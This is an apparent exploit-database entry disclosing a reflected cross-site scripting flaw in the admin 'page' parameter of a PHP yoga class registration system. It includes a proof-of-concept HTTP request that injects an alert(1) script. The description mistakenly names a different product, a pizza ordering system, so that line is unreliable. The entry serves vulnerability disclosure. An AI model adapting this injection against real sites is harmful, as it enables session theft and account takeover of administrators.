# Exploit Title: Yoga Class Registration System - Cross Site Scripting Vulnerability (Authenticated) # Date: 19/03/2023 # Exploit Author: Abdulhakim Öner # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html # Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ycrs.zip # Version: 1.0 # Tested on: Windows, Linux ## Description A reflected Cross Site Scripting vulnerability in the "page" parameter in Online Pizza Ordering System allows remote authenticated users to execute JavaScript code. ## Request PoC ``` GET /php-ycrs/admin/?page=classes%2fmanage_class58913'%3balert(1)%2f%2f575&id=2 HTTP/1.1 Host: 192.168.1.101 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 Connection: close Cache-Control: max-age=0 Referer: http://192.168.1.101/php-ycrs/admin/?page=classes Cookie: PHPSESSID=intlfrkii1gsh9pjgeoo0dhu3b ```